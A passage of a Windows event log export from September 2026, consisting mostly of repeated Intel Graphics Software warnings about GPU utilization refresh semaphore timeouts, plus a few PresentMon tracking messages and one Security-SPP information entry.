09:11:01.793\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:02.016\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:02.238\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:02.906\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:03.129\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:03.797\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:04.004\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:04.561\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:04.894\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:05.117\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:05.340\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:05.562\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:06.677\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:06.889\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:07.103\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:07.440\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:07.666\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:08.225\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:08.448\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:08.672\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:08.895\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:09.561\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:10.339\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:10.561\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:11.226\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:11.450\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:11.772\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:11.995\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:12.331\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:12.776\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:12.999\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:13.328\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:13.535\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:13.971\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:14.409\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:14.633\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:15.069\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:15.291\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:16.073\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:16.297\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:16.857\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:17.081\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:17.528\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:17.749\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:17.971\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:18.185\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:18.402\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:18.627\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:18.961\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:19.185\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:19.407\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:20.075\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:20.522\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:20.745\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:20.969\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:21.193\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:21.417\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:21.977\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:22.201\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:22.537\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:22.761\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:22.985\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:23.209\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:23.657\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:23.881\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:25.113\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:25.784\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:26.118\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:26.565\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:26.781\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:26.986\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:26.999\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:27.004\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:52.123\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:52.127\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:52.436\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:53.305\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:53.529\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:54.406\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:54.731\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:54.737\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:11:56.668\t16394\tOffline downlevel migration succeeded.\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 09:12:08.354\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:08.358\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:08.805\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:09.473\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:09.916\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:10.139\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:10.362\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:10.809\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:11.142\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:12.362\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:13.698\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:14.146\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:14.477\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:15.033\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:15.593\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:15.817\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:16.041\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:16.489\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:17.049\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:17.273\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:17.945\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:18.169\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:18.392\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:18.615\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:19.176\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:19.619\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:20.288\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:20.613\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:21.505\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:21.726\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:22.173\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:12:22.399\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 